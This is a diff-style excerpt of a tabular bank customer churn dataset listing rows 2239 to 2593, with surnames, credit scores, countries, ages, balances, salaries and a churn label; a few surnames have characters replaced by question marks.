+2239,15808784,Hess,835,France,Male,28,2,163569.61,2,1,1,154559.28,0 +2240,15648577,Pickering,493,France,Female,31,3,0,1,1,1,176570.28,1 +2241,15670345,Mazzi,785,Germany,Female,33,6,127211.45,1,0,0,191961.83,0 +2242,15633112,Madukaego,681,Germany,Male,42,3,118199.97,2,1,0,9452.88,1 +2243,15714397,Trentino,621,Germany,Female,30,2,101014.08,2,1,1,165257.31,0 +2244,15780038,Paterson,756,Spain,Male,38,6,119208.85,1,1,0,169763.89,1 +2245,15756305,Marchesi,515,France,Female,66,6,0,2,1,1,160663.11,0 +2246,15578799,Anayolisa,625,France,Female,58,10,53772.73,1,1,1,192072.1,1 +2247,15800326,Poole,717,Spain,Female,39,6,0,2,1,0,93275.61,0 +2248,15785485,Zhou,595,Germany,Female,41,2,138878.81,1,0,1,112269.67,0 +2249,15783958,Bates,539,Spain,Female,37,1,130922.81,2,0,0,2186.83,0 +2250,15727546,Olejuru,762,France,Male,35,9,0,2,1,1,43075.7,0 +2251,15739576,Bustard,706,Spain,Male,20,8,0,2,1,1,12368.11,0 +2252,15631333,Wade,677,Spain,Female,25,8,130866.19,1,1,0,42410.21,0 +2253,15604782,Tan,733,Germany,Female,33,7,187257.94,1,0,1,190430.81,0 +2254,15589643,Ngozichukwuka,684,Spain,Female,41,7,0,1,1,1,138394.37,0 +2255,15585533,Calabrese,679,France,Male,36,6,147733.64,1,0,1,172501.38,0 +2256,15681506,Lane,478,Spain,Male,43,1,0,2,1,1,197916.43,0 +2257,15630551,Forbes,696,France,Male,33,2,163139.27,1,1,1,7035.36,0 +2258,15698349,Davy,686,Spain,Female,35,4,0,2,1,1,159676.55,0 +2259,15776631,Ma,466,France,Female,36,5,119540.15,1,0,1,80603.99,0 +2260,15762216,Barrera,686,France,Female,41,4,129553.76,2,1,0,187599.8,0 +2261,15623927,Alexander,576,France,Male,55,9,0,2,1,1,94450.97,0 +2262,15681402,Ngozichukwuka,763,Germany,Female,61,1,66101.89,1,1,1,143981.27,0 +2263,15586264,Murray,572,France,Male,43,2,140431.98,1,1,0,26450.57,1 +2264,15594685,Hall,757,France,Female,49,2,0,2,0,0,164482.92,0 +2265,15812945,Padovesi,582,France,Female,29,0,0,1,1,1,84012.81,0 +2266,15734628,Lysaght,623,France,Female,35,5,0,2,1,0,101192.08,0 +2267,15629323,Kelechi,617,Germany,Female,37,4,116471.43,2,1,0,175324.74,1 +2268,15666823,Nebechi,425,France,Male,39,4,0,2,1,0,197226.32,0 +2269,15777553,Hanson,659,France,Female,56,9,123785.24,1,1,0,99504.03,1 +2270,15613097,Kao,605,France,Female,33,4,0,2,0,1,83700.66,0 +2271,15622217,Tu,538,France,Female,38,8,88758.95,2,0,0,28226.15,1 +2272,15703588,Palerma,665,Germany,Male,25,5,153611.83,2,1,0,35321.65,0 +2273,15570835,Fallaci,491,Germany,Female,57,4,112044.72,1,1,1,41229.73,1 +2274,15679299,Shen,726,Spain,Female,27,7,123826.07,1,0,1,78970.58,0 +2275,15808044,Ts'ui,580,France,Female,65,9,106804.26,3,1,0,107890.69,1 +2276,15579208,Chikezie,550,France,Female,48,6,0,2,1,1,191870.28,0 +2277,15684951,He,542,France,Female,59,2,68892.77,2,1,0,7905.06,1 +2278,15667620,Dreyer,732,France,Female,43,6,0,2,1,0,65731.53,0 +2279,15582960,Short,473,France,Female,33,5,125827.43,1,0,1,145698.73,0 +2280,15590730,Hunt,745,Spain,Male,34,9,0,2,1,0,50046.25,0 +2281,15763747,Ricci,732,France,Male,36,7,0,2,1,1,60830.24,0 +2282,15778320,Teng,848,Germany,Female,40,5,148495.64,1,0,0,158853.98,0 +2283,15642787,Ijendu,572,France,Male,37,1,133043.66,1,0,0,111243.09,0 +2284,15624633,Kibby,702,France,Male,45,9,74989.58,1,1,1,171014.69,0 +2285,15766765,Obiuto,664,Germany,Male,39,7,60263.23,1,1,0,170835.32,0 +2286,15783615,Ramos,630,Germany,Male,50,3,129370.91,4,1,1,47775.34,1 +2287,15640161,Calabrese,618,Germany,Male,44,5,157955.83,2,0,0,139297.71,0 +2288,15619889,Vasin,556,France,Male,26,4,0,1,1,0,195167.38,0 +2289,15579166,Munro,619,France,Female,30,7,70729.17,1,1,1,160948.87,0 +2290,15789097,Keeley,644,France,Male,48,8,0,2,0,1,44965.54,1 +2291,15674880,Archer,658,Spain,Male,50,2,0,2,1,0,52137.73,0 +2292,15778157,Murray,598,Spain,Male,27,8,90721.52,2,1,0,109296.18,0 +2293,15779064,Chidiegwu,677,France,Male,27,2,0,2,1,1,20092.89,0 +2294,15801265,Tang,689,Spain,Female,45,0,57784.22,1,1,0,197804,1 +2295,15589204,Farrar,591,France,Male,33,9,131765.72,1,1,0,118782.06,0 +2296,15664543,Shaw,699,France,Male,40,7,0,1,0,1,152876.13,1 +2297,15582714,Napolitani,749,Germany,Male,47,9,110022.74,1,0,1,135655.29,1 +2298,15797595,Greenhalgh,709,France,Female,40,9,131569.63,1,1,1,103970.58,0 +2299,15614034,Martin,607,Germany,Male,61,2,164523.5,2,1,1,35786.76,0 +2300,15763171,Hu,650,Germany,Female,25,2,114330.95,1,1,1,25325.07,0 +2301,15647266,Y?an,651,Spain,Female,45,10,135923.16,1,1,0,18732.84,0 +2302,15757577,Odili,676,France,Female,61,8,0,2,1,1,118522.73,0 +2303,15736656,H?,723,France,Female,49,4,0,2,0,1,89972.25,0 +2304,15635078,Chiemela,714,Spain,Male,45,0,124693.48,1,0,1,187194.15,0 +2305,15680141,Yuan,759,Spain,Female,35,7,147936.42,1,1,1,106785.7,0 +2306,15576945,Clements,582,France,Male,29,0,0,1,1,0,142516.35,0 +2307,15602034,Kolesnikov,697,France,Female,34,2,126558.92,1,1,0,73334.43,0 +2308,15732020,Rutherford,610,Germany,Male,57,6,106938.11,2,0,1,186612.47,0 +2309,15611029,Hsiung,488,Germany,Female,33,4,140002.35,1,1,0,123613.81,0 +2310,15621210,Angelo,599,Germany,Male,46,9,123444.72,1,1,1,31368.08,1 +2311,15569222,Mendes,781,France,Male,32,6,147107.91,1,1,1,40066.95,0 +2312,15664639,McGregor,645,France,Male,19,9,128514.84,1,0,0,175969.19,0 +2313,15724223,Bronner,545,France,Female,55,5,0,1,0,0,10034.77,1 +2314,15644621,Mironova,597,Germany,Female,40,9,106756.01,2,1,0,151167.94,0 +2315,15756056,Ku,561,Spain,Female,28,3,0,2,1,0,191387.76,0 +2316,15700353,Evans,662,France,Female,37,6,0,2,1,0,51229.17,0 +2317,15624388,Henderson,649,Germany,Female,50,5,155393.32,1,1,1,87351.42,1 +2318,15627212,Smith,630,France,Female,36,2,110414.48,1,1,1,48984.95,0 +2319,15648005,Russell,672,Spain,Male,33,2,0,2,1,1,182738,0 +2320,15681446,Sun,636,Germany,Female,37,9,157098.52,1,1,1,153535.27,0 +2321,15775888,McDonald,593,Germany,Female,38,5,85626.6,1,1,1,125079.65,0 +2322,15749019,Wong,545,Germany,Male,45,6,93796.42,2,1,1,162321.26,0 +2323,15709928,Niu,567,Spain,Female,41,1,0,2,1,0,3414.72,0 +2324,15784676,Fanucci,583,France,Male,51,6,125268.03,2,1,0,165082.25,0 +2325,15748116,Zetticci,681,France,Female,29,2,148143.84,1,1,1,52021.39,0 +2326,15612193,Hsia,762,Spain,Male,29,10,115545.33,2,1,0,148256.43,0 +2327,15762984,McIntosh,648,Spain,Male,35,7,0,2,0,0,122899.01,0 +2328,15613713,Kozlova,644,France,Male,30,5,44928.88,1,1,1,10771.46,0 +2329,15664204,Meany,706,Spain,Male,29,2,0,2,1,1,18255.51,0 +2330,15639415,Thompson,850,France,Male,35,3,162442.35,1,1,0,183566.78,0 +2331,15806332,Le Gallienne,484,Spain,Female,39,5,0,2,1,1,175224.12,0 +2332,15614929,Cheng,508,Germany,Male,28,0,96213.82,2,1,0,147913.56,0 +2333,15695492,P'eng,439,France,Female,29,6,156569.43,1,1,0,180598.66,0 +2334,15635972,Lloyd,484,Spain,Male,36,8,0,2,1,0,186136.48,0 +2335,15616380,Wheeler,803,Spain,Female,37,1,0,2,0,0,7455.2,0 +2336,15581440,Christie,724,Germany,Female,48,6,110463.25,2,1,1,80552.11,1 +2337,15654390,He,640,France,Male,33,7,154575.76,1,1,0,25722.28,1 +2338,15660688,King,701,Spain,Female,35,9,0,2,0,0,170996.86,0 +2339,15806307,Favors,537,France,Male,37,3,0,2,1,1,20603.32,0 +2340,15647975,Vida,651,Germany,Male,26,5,147037.32,1,0,0,141763.26,0 +2341,15595728,Thomas,523,Germany,Male,41,0,119276.31,1,0,0,122284.38,1 +2342,15735388,Wayn,717,France,Female,25,7,108664.85,2,1,0,190011.85,0 +2343,15788535,Tan,593,Spain,Male,44,5,0,1,1,0,128046.98,0 +2344,15765902,Gibson,706,Germany,Male,38,5,163034.82,2,1,1,135662.17,0 +2345,15642345,Y?,714,Germany,Female,49,4,93059.34,1,1,0,7571.51,1 +2346,15641250,Calabresi,794,Spain,Male,38,9,179581.31,1,1,0,23596.24,0 +2347,15706163,Enyinnaya,518,Germany,Male,46,4,113625.93,1,0,0,92727.42,1 +2348,15746708,Ritchie,589,Germany,Male,55,7,119961.48,1,1,0,65156.83,1 +2349,15775203,Chia,824,France,Male,45,3,129209.48,1,0,0,60151.77,0 +2350,15787907,Wang,719,Germany,Female,42,5,137227.04,3,1,0,149097.38,1 +2351,15646764,Lorenzo,617,Germany,Female,58,3,119024.75,2,1,0,35199.24,1 +2352,15678284,Pai,651,France,Male,35,7,74623.5,3,1,0,129451.29,1 +2353,15726791,Nuttall,637,Spain,Female,45,2,157929.45,1,1,1,145134.49,1 +2354,15813144,Osborne,554,France,Female,26,7,92606.86,2,1,0,192709.69,0 +2355,15669342,Ferri,731,Germany,Male,35,2,127862.93,2,1,0,139083.7,0 +2356,15710366,Hamilton,569,Spain,Female,42,1,0,1,1,1,83629.6,1 +2357,15614934,McEwan,625,Germany,Female,37,4,142711.81,1,1,0,35625.41,0 +2358,15588701,Lai,592,France,Female,38,4,0,2,1,0,35338.96,0 +2359,15665438,Hs?,669,France,Male,43,1,163159.85,1,0,1,15602.8,0 +2360,15644896,Thompson,663,Germany,Male,32,3,108586.86,1,1,1,182355.21,0 +2361,15670205,Boyd,518,Germany,Female,41,5,110624.99,1,1,0,89327.67,0 +2362,15635776,Trevisani,686,Germany,Female,43,5,154846.24,2,1,1,151903.6,0 +2363,15791053,Lucciano,709,Germany,Male,45,4,122917.71,1,1,1,11.58,1 +2364,15644005,Holman,571,France,Female,33,9,0,2,0,1,77519.62,0 +2365,15796343,Bazhenov,707,France,Female,31,2,82787.93,2,0,0,91423.69,0 +2366,15751057,Douglas,701,Germany,Male,32,5,102500.34,1,0,0,106287.77,0 +2367,15623430,Hill,672,France,Male,34,9,0,2,1,0,161800.77,0 +2368,15682600,Lo,620,Germany,Male,39,9,159492.79,1,1,0,80582.34,1 +2369,15769312,Forbes,557,Spain,Male,48,10,0,2,1,1,185094.48,0 +2370,15708212,Lin,648,Spain,Female,54,7,118241.02,1,1,0,172586.89,1 +2371,15650258,Sinclair,479,France,Female,35,2,113090.4,1,1,0,195649.79,0 +2372,15604345,Kemp,730,France,Female,22,9,65763.57,1,1,1,145792.01,0 +2373,15578297,Ebelegbulam,737,Germany,Female,43,1,125537.38,1,1,0,138510.01,1 +2374,15671789,Woods,616,France,Male,31,3,94263.91,2,1,0,168895.06,0 +2375,15726186,Genovese,639,Spain,Male,29,4,133434.57,2,1,0,97983.44,0 +2376,15764618,Tseng,815,Spain,Female,39,6,0,1,1,1,85167.88,0 +2377,15730738,Chiang,786,Spain,Male,31,9,0,2,1,1,18210.36,0 +2378,15637650,Williams,549,France,Male,50,9,94748.76,2,0,1,13608.18,0 +2379,15606267,Wilson,622,France,Female,38,4,98640.74,1,1,1,110457.99,0 +2380,15625904,Wang,624,France,Male,26,9,74681.9,2,0,0,31231.35,0 +2381,15654463,Moore,841,France,Male,34,4,0,2,1,0,141582.66,0 +2382,15774151,Iadanza,614,Spain,Female,41,7,179915.85,1,0,0,14666.35,1 +2383,15693259,Wallace,676,France,Male,30,1,128207.23,1,1,1,55400.17,0 +2384,15642468,Clark,697,France,Male,42,9,132739.26,2,0,0,174667.65,0 +2385,15758531,Y?,732,France,Female,40,10,0,2,1,0,154189.08,0 +2386,15728352,Yermakov,623,France,Male,27,4,120509.81,1,0,0,142170.44,0 +2387,15637240,Wei,541,France,Male,46,4,124547.13,2,1,0,94499.06,0 +2388,15595588,Chukwunonso,773,Spain,Female,39,4,0,2,0,1,182081.45,0 +2389,15778395,McIntyre,762,Germany,Male,34,4,88815.56,2,1,0,68562.26,1 +2390,15711825,Ts'ai,655,Spain,Female,35,1,82231.51,2,1,0,88798.02,0 +2391,15599251,Chung,602,Germany,Male,32,7,184715.86,2,1,0,113781.99,0 +2392,15570004,Tsou,850,France,Male,31,3,0,2,1,0,121866.87,0 +2393,15656912,Aitken,649,Spain,Male,51,4,0,1,1,1,150390.57,0 +2394,15657342,Dawson,850,Germany,Male,28,4,147972.19,1,1,0,60708.72,1 +2395,15716284,Ward,543,France,Male,43,9,0,2,1,1,78858.07,0 +2396,15672374,Pai,672,France,Male,52,8,170008.84,1,0,0,56407.42,1 +2397,15732476,Ifeanyichukwu,600,France,Female,27,3,0,2,0,1,125698.97,0 +2398,15747724,Briggs,671,Spain,Female,34,10,0,1,1,0,23235.38,0 +2399,15633877,Morrison,706,Spain,Female,42,8,95386.82,1,1,1,75732.25,0 +2400,15672516,Wall,541,Germany,Male,51,7,90373.28,2,1,0,179861.79,0 +2401,15607827,Nebechukwu,711,Germany,Male,34,4,133467.77,2,1,1,42976.64,0 +2402,15751336,Yao,630,Spain,Male,30,3,0,2,0,1,10486.69,0 +2403,15646539,Liao,531,France,Male,31,3,96288.26,1,1,0,56794.73,0 +2404,15756901,Ch'ang,641,France,Female,26,4,91547.84,2,0,1,28157.34,0 +2405,15809286,Burke,631,Germany,Male,37,8,138292.64,2,0,0,152422.91,1 +2406,15759021,Kay,685,France,Male,35,9,0,1,1,0,167033.83,0 +2407,15725039,McIntyre,702,Spain,Male,32,8,71667.74,1,1,1,126082.18,0 +2408,15579130,Chidiegwu,708,Germany,Female,43,0,118994.84,1,1,0,181499.77,1 +2409,15754112,Musgrove,653,Spain,Male,55,7,0,2,1,1,41967.03,0 +2410,15735522,Boulger,654,Germany,Male,37,2,145610.07,2,0,0,186300.59,0 +2411,15613326,Gow,596,France,Female,33,1,138162.81,1,1,0,85412.54,0 +2412,15739502,Amaechi,549,Germany,Female,31,9,135020.21,2,1,1,23343.18,0 +2413,15670914,Robe,754,France,Male,38,2,0,2,1,0,180698.32,0 +2414,15604073,Bibi,815,Germany,Female,25,8,135161.67,1,1,1,136071.05,0 +2415,15806027,Niu,556,France,Female,52,9,0,1,1,0,175149.2,1 +2416,15574886,Palerma,706,France,Male,32,6,94486.47,1,1,1,146949.74,0 +2417,15707120,Cocci,850,France,Male,46,9,117640.39,1,1,0,88920.68,0 +2418,15800845,Artemieva,732,Spain,Female,33,8,111379.55,1,1,1,45098.62,0 +2419,15603914,Arcuri,614,France,Male,40,6,0,1,1,1,20339.79,1 +2420,15722765,Owen,580,Spain,Female,57,0,136820.99,1,0,1,108528.74,0 +2421,15783305,Franklin,593,France,Female,46,7,98752.51,1,1,0,145560.38,0 +2422,15574842,Lorenzo,653,Germany,Female,25,2,158266.42,3,1,1,199357.24,0 +2423,15607837,Muriel,746,France,Female,29,4,105599.67,1,1,1,43106.17,0 +2424,15714877,MacDevitt,662,France,Female,29,10,0,2,1,0,137508.31,0 +2425,15782941,Chijindum,573,France,Male,31,2,0,2,1,1,91957.39,0 +2426,15630167,Gibson,684,Spain,Female,39,4,139723.9,1,1,1,120612.11,0 +2427,15759038,Whitehead,793,France,Female,41,3,141806.46,1,1,0,102921.17,0 +2428,15661821,Johnstone,798,Germany,Female,49,5,132571.67,1,1,1,31686.33,1 +2429,15728006,Endrizzi,524,France,Male,40,2,180516.9,1,1,0,180002.42,0 +2430,15712176,Burke,816,France,Male,31,8,0,2,1,1,28407.4,0 +2431,15689351,Johnson,742,Germany,Female,41,4,92805.72,1,0,1,73743.95,1 +2432,15782247,Yeh,540,France,Male,22,4,0,3,1,1,186233.26,1 +2433,15769064,Marshall,537,Germany,Male,39,3,135309.36,1,1,0,31728.86,1 +2434,15718153,Kao,759,Spain,Female,74,6,128917.84,1,1,1,48244.64,0 +2435,15613189,Browne,774,France,Female,52,2,56580.93,1,1,0,113266.28,1 +2436,15661734,Taylor,608,Germany,Male,42,8,131390.75,2,1,0,71178.09,0 +2437,15592645,Gibbons,704,Spain,Male,37,4,0,2,0,0,25684.93,0 +2438,15768387,Nott,581,France,Male,41,8,0,2,0,0,29737.14,0 +2439,15792525,Lei,628,Germany,Female,61,1,97361.66,1,1,1,149922.38,1 +2440,15586976,Alexeeva,566,France,Female,42,6,0,1,1,0,180702.12,1 +2441,15790659,Sheets,701,Spain,Male,59,7,0,2,0,1,27597.59,0 +2442,15691446,Tokaryev,735,Spain,Male,29,10,0,2,1,1,95025.27,0 +2443,15772632,Ts'ui,680,France,Female,34,1,0,2,1,0,167035.07,0 +2444,15706587,Johnston,560,France,Male,57,0,0,2,0,1,116781.71,0 +2445,15572461,Kung,663,Germany,Female,29,4,102714.65,2,0,0,21170.81,0 +2446,15654409,Unwin,665,France,Female,34,5,67816.72,1,1,1,29641.58,0 +2447,15568025,Hsueh,758,France,Male,51,8,81710.46,1,1,1,116520.07,0 +2448,15715769,Hao,621,France,Male,26,2,75237.54,1,0,1,44220.4,0 +2449,15667458,L?,764,Germany,Male,28,10,124023.18,1,1,0,166188.28,0 +2450,15567980,Frater,537,Germany,Female,46,5,100727.5,1,0,1,140857.76,1 +2451,15679294,Brennan,589,France,Female,46,10,107238.85,2,1,0,37024.28,0 +2452,15606507,Pisani,555,France,Male,24,5,0,2,1,0,27513.47,0 +2453,15578825,Golubev,734,France,Female,29,0,139994.66,1,1,0,17744.72,0 +2454,15619935,Vanmeter,783,Spain,Female,59,9,126224.87,1,1,1,4423.63,0 +2455,15636089,Hs?,678,Germany,Female,51,1,145751.03,1,0,0,109718.44,1 +2456,15727490,Scott,661,France,Male,47,5,0,1,0,1,107243.31,1 +2457,15591766,Crawford,607,Spain,Female,25,4,121166.89,1,0,1,115288.24,0 +2458,15641629,P'eng,537,Spain,Female,38,1,0,2,0,1,41233.97,0 +2459,15813303,Rearick,513,Spain,Male,88,10,0,2,1,1,52952.24,0 +2460,15756920,Genovesi,576,France,Male,63,9,70655.48,1,0,0,78955.8,1 +2461,15726403,Glenny,660,Germany,Male,41,1,129901.21,1,1,0,26025.6,1 +2462,15592765,Marks,637,France,Male,40,8,125470.81,1,1,1,174536.17,0 +2463,15704442,Fleming,672,France,Female,53,9,169406.33,4,1,1,147311.47,1 +2464,15641136,Davison,629,France,Male,32,2,0,2,0,1,77965.44,0 +2465,15725818,Chibuzo,583,Germany,Male,40,4,107041.3,1,1,1,5635.63,0 +2466,15612071,Wilson,763,Spain,Female,32,10,95153.77,1,0,1,81310.1,0 +2467,15719809,Endrizzi,516,Germany,Male,32,3,145166.09,2,0,0,111421.45,0 +2468,15716518,Yuryeva,617,France,Female,27,4,0,2,0,0,190269.21,0 +2469,15742210,Ugochukwu,700,France,Male,38,9,65962.63,1,1,1,100950.48,0 +2470,15630617,Lo Duca,727,Germany,Male,36,6,140418.81,1,1,1,113033.73,1 +2471,15720838,Gallo,689,Spain,Female,31,3,139799.63,1,0,1,120663.57,0 +2472,15595537,Trout,626,Germany,Male,49,9,171787.84,2,1,0,187192.23,0 +2473,15623196,Morley,686,France,Male,38,6,149238.97,1,1,1,97825.23,0 +2474,15679249,Chou,351,Germany,Female,57,4,163146.46,1,1,0,169621.69,1 +2475,15693199,Shao,739,France,Female,37,8,0,2,1,0,191557.1,1 +2476,15661219,Trentino,627,France,Male,32,10,0,2,1,0,103287.62,0 +2477,15617136,Mazzanti,451,Germany,Female,38,9,61482.47,1,1,1,167538.66,0 +2478,15760294,Endrizzi,512,France,Female,41,8,145150.28,1,1,0,64869.32,1 +2479,15652808,Monaldo,774,France,Female,41,5,126670.37,1,1,0,102426.06,0 +2480,15657139,Otutodilinna,652,France,Female,40,8,84390.8,2,0,1,107876.2,0 +2481,15803790,Allen,638,Germany,Male,37,2,89728.86,2,1,1,37294.88,0 +2482,15764105,Milne,475,France,Female,57,1,0,2,1,0,89248.99,0 +2483,15672610,Somadina,567,Spain,Male,40,4,118628.8,1,0,0,91973.63,0 +2484,15766896,Chieloka,750,France,Male,37,3,0,2,1,0,16870.2,0 +2485,15587735,Chukwuebuka,850,France,Male,39,6,96863.13,1,1,1,121681.19,0 +2486,15659501,Chioke,753,France,Female,38,6,142263.45,1,0,1,33730.43,0 +2487,15745001,Kovalev,683,Spain,Female,36,7,0,2,1,0,104786.59,0 +2488,15651140,Doherty,710,France,Female,32,3,0,1,1,0,94790.34,0 +2489,15571148,Baranov,645,Spain,Female,21,1,0,2,0,0,28726.07,0 +2490,15776824,Rossi,714,France,Male,28,6,122724.37,1,1,1,67057.27,0 +2491,15633141,Robinson,696,Germany,Female,35,4,174902.26,1,1,0,69079.85,0 +2492,15764174,Bidencope,612,Spain,Female,26,4,0,2,1,1,179780.74,0 +2493,15778155,T'ien,520,Germany,Female,31,3,108914.17,1,1,1,183572.39,1 +2494,15715920,De Bernales,782,Spain,Male,23,10,98052.66,1,1,1,142587.32,0 +2495,15671917,Wade,666,France,Male,46,5,123873.19,1,1,1,177844.06,0 +2496,15666548,Chung,466,Germany,Female,56,2,111920.13,3,1,0,197634.11,1 +2497,15625623,Stevenson,567,France,Female,45,4,0,2,0,1,121053.19,0 +2498,15748123,Chienezie,613,France,Male,20,3,0,2,1,1,149613.77,0 +2499,15648735,Cashin,718,France,Male,37,8,0,2,1,1,142.81,0 +2500,15634974,Seppelt,614,France,Female,37,8,75150.34,4,0,1,131766.67,1 +2501,15713378,Brownless,711,France,Male,38,10,0,2,0,0,53311.78,0 +2502,15753370,McDonald,691,Germany,Female,38,5,114753.76,1,1,0,107665.02,0 +2503,15782659,Mamelu,527,France,Male,32,0,0,1,1,0,109523.88,0 +2504,15583364,McGregor,476,France,Female,32,6,111871.93,1,0,0,112132.86,0 +2505,15625942,McDonald,619,Spain,Female,45,0,0,2,0,0,113645.4,0 +2506,15720284,Crawford,607,Germany,Female,37,4,135927.06,1,0,0,180890.4,0 +2507,15679642,Feng,695,Spain,Male,44,8,0,2,1,1,70974.13,0 +2508,15628007,Genovese,653,France,Male,33,1,0,2,0,0,53379.52,0 +2509,15661974,Pirozzi,677,France,Male,46,2,57037.74,1,1,1,158531.01,0 +2510,15689341,Gibbs,655,France,Female,50,10,0,4,1,0,179267.94,1 +2511,15607993,Milne,625,France,Female,52,2,79468.96,1,1,1,84606.03,0 +2512,15693267,Dickson,679,Germany,Female,34,7,121063.85,1,1,0,56984.58,0 +2513,15769522,O'Connor,734,France,Male,51,1,118537.47,1,1,1,116912.45,0 +2514,15755825,McGuirk,666,France,Male,39,10,0,2,1,0,102999.33,0 +2515,15598175,Toscani,592,Germany,Female,26,4,105082.07,2,1,0,132801.57,0 +2516,15744327,Ruth,564,France,Male,40,4,0,1,1,0,85455.62,1 +2517,15798666,Hughes,814,France,Female,36,6,0,2,1,1,98657.01,0 +2518,15577064,Onyekaozulu,592,Germany,Male,36,2,104702.65,2,1,0,107948.72,0 +2519,15759436,Aksenov,758,France,Female,50,2,95813.76,3,1,1,67944.09,1 +2520,15690231,K'ung,612,Spain,Female,62,0,167026.61,2,1,1,192892.05,0 +2521,15751561,Meng,498,Germany,Male,61,7,102453.26,1,1,0,187247.56,1 +2522,15739068,Nwoye,638,Germany,Male,25,4,148045.45,2,1,1,114722.42,0 +2523,15758056,Calabresi,558,France,Male,35,1,0,2,0,0,111687.57,0 +2524,15742269,Milano,756,France,Female,24,1,0,2,1,0,184182.25,0 +2525,15726490,Kirby,782,Spain,Male,52,4,0,1,1,1,52759.82,1 +2526,15738411,Ho,505,France,Male,34,10,104498.79,1,0,1,126451.14,0 +2527,15727919,Chukwuemeka,671,Spain,Female,29,6,0,2,0,0,12048.67,0 +2528,15709396,Hale,801,France,Male,42,6,0,2,1,1,95804.33,0 +2529,15654106,K?,604,France,Male,26,8,149542.52,2,0,1,197911.52,0 +2530,15621653,Rice,716,France,Female,29,10,87946.39,1,1,1,182531.74,0 +2531,15598086,Brown,624,France,Female,45,3,68639.57,1,1,0,168002.31,1 +2532,15752300,Sagese,607,Germany,Male,47,4,148826.32,1,1,1,79450.61,0 +2533,15658693,Aksyonova,827,France,Female,60,2,0,2,0,1,60615.83,0 +2534,15631838,Findlay,606,France,Male,61,5,108166.09,2,0,1,8643.21,0 +2535,15803804,Walker,717,Germany,Female,35,5,103214.71,1,1,0,172172.7,0 +2536,15578809,Hao,651,Germany,Male,40,1,134760.21,2,0,0,174434.06,1 +2537,15752026,Hammer,691,France,Male,58,3,0,1,0,1,194930.3,1 +2538,15723706,Abbott,573,France,Female,33,0,90124.64,1,1,0,137476.71,0 +2539,15752838,Lucas,723,Spain,Male,38,6,0,2,1,1,94415.6,0 +2540,15569571,Davydova,584,Germany,Female,46,6,87361.02,2,1,0,120376.87,1 +2541,15769703,West,550,Germany,Female,45,8,111257.59,1,0,0,97623.42,1 +2542,15679770,Smith,611,France,Female,61,3,131583.59,4,0,1,66238.23,1 +2543,15791102,Mai,549,Germany,Male,41,9,95020.8,3,1,1,131710.59,1 +2544,15655192,Fiorentino,850,Spain,Female,24,1,0,2,0,1,69052.87,0 +2545,15709487,Freeman,668,Germany,Male,34,5,80242.37,2,0,0,56780.97,0 +2546,15687130,Nkemjika,686,France,Female,43,0,0,1,1,1,170072.9,0 +2547,15755178,Ramos,660,France,Male,50,1,0,3,1,1,191849.15,1 +2548,15634772,Mario,682,Spain,Female,59,0,122661.39,1,0,1,84803.76,0 +2549,15617197,Chien,524,France,Male,50,4,0,2,1,1,31840.59,1 +2550,15631240,Dubinina,645,France,Female,36,8,0,2,1,1,12096.61,1 +2551,15784301,Wang,850,France,Male,42,0,0,2,1,0,44165.84,0 +2552,15631310,Hsieh,537,France,Female,53,3,0,1,1,1,91406.62,0 +2553,15756560,Moran,599,Spain,Female,46,7,81742.84,2,1,0,83282.21,0 +2554,15732270,Hung,727,Spain,Male,71,8,0,1,1,1,198446.91,1 +2555,15739357,Moss,756,Spain,Male,30,2,145127.85,1,0,0,7554.68,0 +2556,15771540,Fedorova,755,France,Male,38,9,148912.44,1,1,0,80416.16,0 +2557,15567486,Li,634,Spain,Female,41,4,0,2,1,1,164549.74,0 +2558,15714634,Nebechi,837,France,Male,26,4,89900.24,2,1,0,175477.03,0 +2559,15727021,Obialo,727,Germany,Female,30,8,119027.28,2,1,1,137903.54,0 +2560,15650670,Bateson,567,Germany,Female,40,2,105222.86,2,1,0,93795.86,0 +2561,15711834,Long,650,Spain,Female,30,6,0,1,0,0,67997.13,1 +2562,15729763,Nelson,655,Spain,Male,34,1,116114.93,1,1,1,49492.15,0 +2563,15646566,Bell,763,France,Female,58,9,187911.55,1,0,1,35825.18,0 +2564,15645463,Udinese,843,France,Female,27,5,0,2,1,1,67494.23,0 +2565,15672144,Mao,667,France,Female,38,6,144432.04,1,1,1,73963.17,1 +2566,15596088,Fanucci,705,France,Female,50,4,77065.9,2,0,1,145159.26,0 +2567,15614878,Yeh,660,Germany,Female,29,6,180520.29,1,1,1,123850.58,0 +2568,15635240,Onuoha,553,France,Male,42,1,0,2,0,0,23822.04,0 +2569,15775905,Moore,612,Germany,Female,47,6,130024.87,1,1,1,45750.21,1 +2570,15700657,Thornton,641,Germany,Female,40,2,110086.69,1,1,0,159773.14,0 +2571,15611905,Warlow-Davies,513,Spain,Female,31,5,174853.46,1,1,0,84238.63,0 +2572,15652527,Champion,680,France,Male,44,7,108724.98,1,0,1,72330.46,0 +2573,15785865,Mazzanti,711,France,Male,58,9,91285.13,2,1,1,26767.85,0 +2574,15645942,Macleod,689,Spain,Male,40,2,0,2,1,1,164768.82,0 +2575,15688691,Lei,665,Germany,Female,51,9,110610.41,2,0,1,1112.76,1 +2576,15592736,Lucchese,551,Germany,Male,54,5,102994.04,1,1,0,176680.16,1 +2577,15673529,Lombardo,645,Spain,Male,36,4,59893.85,2,1,0,43999.64,0 +2578,15724145,William,616,Germany,Male,29,8,149318.55,1,1,0,140746.13,0 +2579,15704629,Wright,582,France,Female,32,1,116409.55,1,0,1,152790.92,0 +2580,15597896,Ozoemena,365,Germany,Male,30,0,127760.07,1,1,0,81537.85,1 +2581,15731790,Boyle,697,Germany,Female,38,6,132591.36,1,1,1,7387.8,1 +2582,15634719,Chinwendu,704,France,Male,31,0,0,2,1,0,183038.33,0 +2583,15703205,Uwaezuoke,656,France,Female,46,5,113402.14,2,1,1,138849.06,0 +2584,15567333,Archambault,712,France,Female,31,7,0,2,1,0,170333.38,0 +2585,15754537,Ko,748,France,Male,40,0,0,1,0,0,60416.76,0 +2586,15612030,Udegbulam,724,France,Male,28,9,0,2,1,1,100240.2,0 +2587,15573242,Greene,691,France,Male,50,6,136953.47,1,1,1,2704.98,0 +2588,15601892,Hunter,563,France,Male,33,8,0,2,0,1,68815.05,0 +2589,15663885,Blinova,741,France,Male,32,5,0,1,1,1,64839.23,0 +2590,15701096,De Garis,778,France,Male,44,8,123863.64,1,1,0,144494.94,0 +2591,15710450,Okwudiliolisa,848,Spain,Male,22,7,120811.89,1,1,1,185510.34,0 +2592,15790846,Ts'ai,634,Germany,Male,38,2,148430.55,1,1,1,56055.72,0 +2593,15658956,Tuan,505,Germany,Male,40,6,47869.69,2,1,1,155061.97,0 